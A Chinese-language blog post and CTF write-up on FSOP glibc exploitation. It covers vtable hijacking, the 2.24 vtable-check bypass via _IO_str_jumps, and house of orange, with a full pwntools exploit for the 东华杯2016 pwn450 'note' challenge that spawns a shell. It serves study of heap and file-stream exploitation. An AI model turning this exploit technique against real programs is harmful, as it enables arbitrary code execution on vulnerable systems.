FSOP

开——学——啦——真——开——心——啊——o( ̄▽ ̄)ブ
IO的学习也正式开始了,开学也要继续加油!禁止摆烂!(ง •_•)ง

利用

2.23

vtable劫持

许多IO相关函数都调用了_IO_FILE_plus结构体中的vtable指针指向的跳转表中的函数,如果能够劫持vtable那么我们就能改变程序流
劫持vtable有两种方式,只修改_IO_FILE结构体的vtable指针或者直接伪造整个_IO_FILE结构体

FSOP

全局变量_IO_list_all利用单链表管理所有_IO_FILE结构体,如果我们能够控制_IO_list_all或者控制某个_IO_FILE的_chain指针,我们就能进行伪造_IO_FILE结构体的vtable劫持
_IO_flush_all_lockp函数用于刷新所有FILE结构体的输出缓冲区,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//glibc-2.23\libio\genops.c

int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)//如果输出缓冲区有数据,则调用_IO_OVERFLOW刷新输出缓冲区
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;//遍历单链表
}

#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif

return result;
}

调用_IO_flush_all_lockp的过程有:

  • libc执行abort函数时,堆非法操作可触发,调用栈如下:
    1
    2
    3
    4
    fflush(_IO_fflush)->_IO_flush_all->_IO_flush_all_lockp
    abort
    __libc_message
    malloc_printerr
  • 调用exit函数时
    1
    2
    3
    4
    _IO_flush_all_lockp
    _IO_cleanup
    _run_exit_handlers
    exit
  • 程序正常退出时(同调用exit,因为程序正常退出的时候会调用exit)
    整个利用过程就是劫持_IO_list_all或者某个_IO_FILE的_chain指针,然后通过以上三种方式触发_IO_flush_all_lockp函数调用

调用链

1
malloc_printerr->__libc_message->abort->_IO_flush_all_lockp->_IO_OVERFLOW

2.24-2.27

vtable check

2.24中_IO_OVERFLOW的宏定义发生了变化(以下宏定义皆来自glibc-2.24\libio\libioP.h)

  • _IO_OVERFLOW
    1
    #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
  • JUMP1
    1
    #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
  • _IO_JUMPS_FUNC
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #if _IO_JUMPS_OFFSET
    # define _IO_JUMPS_FUNC(THIS) \
    (IO_validate_vtable \
    (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
    + (THIS)->_vtable_offset)))
    # define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
    #else
    # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
    # define _IO_vtable_offset(THIS) 0
    #endif

可见在利用vtable跳转表之前先执行了IO_validate_vtable函数,作用是检查vtable是否在glibc的vtable段里

1
2
3
4
5
6
7
8
9
10
11
12
//glibc-2.24\libio\libioP.h

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}

可见__start___libc_IO_vtables指向第一个vtable _IO_helper_jumps,__stop___libc_IO_vtables指向最后一个vtable _IO_str_chk_jumps的结尾
如果还像2.23那样在堆上伪造vtable肯定无法绕过检查,会进入到_IO_vtable_check函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//glibc-2.24\libio\vtables.c

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)//检查是否是外部重构的vtable
return;

{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
//检查是否是动态链接库中的vtable
return;
}

#else
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

也就是说我们只能以vtable段中的内容为跳板进行利用

vtable check绕过

利用_IO_str_jumps(也可以利用_IO_wstr_jumps,过程差不多)
查看一下_IO_str_jumps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//glibc-2.24\libio\strop.c

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

其中有一个finish,实际上执行的函数是_IO_str_finish,其中有一个相对地址的引用

1
2
3
4
5
6
7
8
9
10
11
//glibc-2.24\libio\strops.c

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

我们需要控制:

  • fp->_IO_buf_base=bin_sh_addr
  • fp->_flags=0
  • ((_IO_strfile *) fp)->_s._free_buffer=system_addr

_IO_strfile,这些结构体是嵌套定义的:

1
2
3
4
5
6
7
//glibc-2.24\libio\strfile.h

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

伪造的_IO_strfile长这样

其中的overflow也有对相对地址的引用,但过程非常复杂,利用起来很不方便

调用链

1
malloc_printerr->__libc_message->abort->_IO_flush_all_lockp->_IO_str_finish

2.28以后

_IO_str_finish中的相对地址引用被free替换,_IO_str_overflow中的相对引用也被malloc和free替换了

1
2
3
4
5
6
7
8
9
10
11
12
13
//glibc-2.24\libio\strops.c

void
_IO_str_finish (FILE *fp, int dummy)
{

//用free替换了相对地址引用
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

例题

东华杯2016-pwn450 note(2.23)

很坐牢也很涨姿势的一道题

静态分析

只能使用一个堆块且无uaf,但edit使用的read_data2函数中存在溢出(只根据’\n’判断读入结束)

new一个堆块的时候会打印堆块地址

思路

泄露libc

申请一个很大的chunk,mmap出来的内存会紧邻libc
当top chunk不能满足分配的大小时_int_malloc会调用sysmalloc

1
2
3
4
5
6
7
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

当要求的大小nb>=mp_.mmap_threshold(0x20000)时会调用系统调用mmap分配内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/

try_mmap:
if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
size = ALIGN_UP (nb + SIZE_SZ, pagesize);
else
size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
tried_mmap = true;

/* Don't try if size wraps around 0 */
if ((unsigned long) (size) > (unsigned long) (nb))
{
mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0));//系统调用mmap

分配的内存紧邻libc向下延伸(0x7fc3d4bff000)

mmap的chunk也有0x10的chunk head同时必须保持页对齐,由于程序会打印堆块地址,根据堆块大小和堆块基址我们就能知道libc基址

创造多个chunk

要触发unsorted bin attack就必须要能在free的状态下控制chunk,但程序不存在uaf。要通过edit的溢出漏洞实现uaf至少需要两个chunk(一个在bin里,一个in use),如果遵循程序的正常流程,free掉的chunk必然和top chunk合并(只能申请0x210大小以上的chunk,在fastbin的范围外)
当top chunk不满足分配要求且要求的size符合一定要求时会free旧的top chunk,旧top chunk会进入unsorted bin
当nb<mp_.mmap_threshold(0x20000)且旧top chunk需要满足以下要求

  • size>0x20
  • pre_inuse=1
  • top chunk address+top chunk size满足页对齐
    1
    2
    3
    4
    assert ((old_top == initial_top (av) && old_size == 0) ||
    ((unsigned long) (old_size) >= MINSIZE &&
    prev_inuse (old_top) &&
    ((unsigned long) old_end & (pagesize - 1)) == 0));
    之后再分割旧top chunk就不存在合并的问题了
unsorted bin attack

这道题要进行unsorted bin attack有一个问题,就是在malloc之前必须free掉原来的chunk,但已经完成unsorted bin attack布置的堆块不能绕过_int_free中对unsorted bin中第一个chunk的连接检查

1
2
3
4
5
6
7
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}

倒推一下堆布局:

  • 由于我们需要放一个0x60的chunk(chunk2)到small bin里(后面再解释为什么),这个0x60的chunk同时也将用于unsorted bin attack,要绕开检查,unsorted bin中还得有一个chunk(chunk1),同时必须还有一个chunk在使用中(用于控制chunk2)
  • chunk1只能来自于free掉的chunk插入,如果是来自于切割那chunk2已经进入small bin(切割unsorted bin中的chunk只有一种情况,就是unsorted bin中仅有一个chunk且是last remainder) 这样的话使用中的chunk必须在遍历unsorted bin之前就能得到。遍历unsorted bin之前会先在fastbin和small bin中找一样的,所以small bin中得有一个chunk
    这样堆布局过程就很清楚了
  • 从unsorted bin中的旧top chunk中切割一个small chunk返回
  • 切割chunk2剩下一个0x60的chunk,返回剩下的,此时chunk1已进入small bin
  • free使用的chunk进入unsorted bin,取走small bin中的chunk

注意利用溢出覆盖next chunk的preinuse位为1防止合并

house of orange

unsorted bin attack会将unsorted bin的地址写进_IO_list_all,main arena部分的空间是我们无法完全控制的,但如果我们free一个chunk进main arena中的fake _IO_FILE_plus->_chain部分,下一个_IO_FILE_plus就是我们能够控制的,可以算出chunk的大小应该是0x60,这就是上文需要free一个0x60的chunk进small bin的原因
_IO_flush_all_lockp中调用_IO_OVERFLOW的条件有:

1
2
3
4
5
6
7
8
9
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

拆分一下两个条件

  • ```c
    fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
    1
    2
    3

    * ```c
    _IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    ||的关系,满足其中一个就会调用_IO_OVERFLOW
    main arena中的fake _IO_FILE_plus肯定不满足第一个条件中的 fp->_IO_write_ptr > fp->_IO_write_base 第二个条件中 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base肯定满足,fp->_mode > 0有满足的可能性(不知道为什么实测没有判断IO_vtable_offset (fp) == 0),需要爆破
    布置在heap中的fake _IO_FILE_plus时要保证fp->_mode<=0(exp中设为-1),fp->_IO_write_ptr > fp->_IO_write_base(exp中分别设为1和0)并设置vtable指针,开头写’/bin/sh’ 设置跳转表 这样执行_IO_OVERFLOW (fp, EOF)的时候实际执行的就是system(‘/bin/sh’)
ps

用2.23-0ubuntu3_amd64版本的libc时程序会断在进入abort函数之前,调用栈如下:

中断原因是尝试写入不可写段

用2.23-0ubuntu11.3_amd64就没问题
换程序换触发错误方式都会有同样的问题,不知道为什么

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

def new(size):
p.sendlineafter(b'option--->>\n',b'1')
p.sendlineafter(b'input the size:',str(size).encode())
def edit(data):
p.sendlineafter(b'option--->>\n',b'3')
p.sendlineafter(b'input the content:',data)
def delete():
p.sendlineafter(b'option--->>\n',b'4')
def bye():
p.sendlineafter(b'option--->>\n',b'6')

p=process('./note')
libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
new(0x200000)#libcbase
p.recvuntil(b'0x')
libcbase=int(p.recvuntil(b'\n')[:-1].decode(),16)+0x201000-0x10
print(hex(libcbase))
delete()
new(0x200)#change the size of topchunk
edit(b'\x00'*0x200+p64(0)+p64(0x10df1))
delete()
new(0x12000)#free topchunk(0x10fe0)
delete()

unsorted_bin=libcbase+0x68+libc.symbols['__malloc_hook']
_IO_list_all=libcbase+libc.symbols['_IO_list_all']
system=libcbase+libc.symbols['system']

new(0x200)#0x10dd0
payload=b'\x00'*0x200+p64(0)+p64(0x10dd1)+p64(unsorted_bin)*2+b'\x00'*0x10db0+p64(0x10dd0)+p64(0x11)
edit(payload)

delete()
new(0x10d60)
payload=b'\x00'*0x10d60+p64(0)+p64(0x61)+p64(unsorted_bin)*2+b'\x00'*0x40+p64(0x60)+p64(0x11)
edit(payload)

delete()
new(0x200)
p.recvuntil(b'0x')
heap=int(p.recvuntil(b'\n')[:-1].decode(),16)-0x10
print(hex(heap))
payload=b'\x00'*0x200+p64(0)+p64(0x10d71)+p64(heap+0x210)+p64(unsorted_bin)+b'\x00'*0x10d50
payload+=b'/bin/sh\x00'+p64(0x61)+p64(unsorted_bin)+p64(_IO_list_all-0x10)
payload+=p64(0)#write base
payload+=p64(1)#write ptr
payload+=b'\x00'*(0xc0-48)
payload+=p64(0xffffffffffffffff)
payload+=b'\x00'*(0xd8-8-0xc0)
payload+=p64(heap+0x11060)
payload+=p64(0)*2
payload+=p64(1)
payload+=p64(system)
edit(payload)
delete()
gdb.attach(p)
new(0xb00)
pause()
p.interactive()

FSOP
http://akaieurus.github.io/2023/02/20/FSOP/
作者
Eurus
发布于
2023年2月20日
许可协议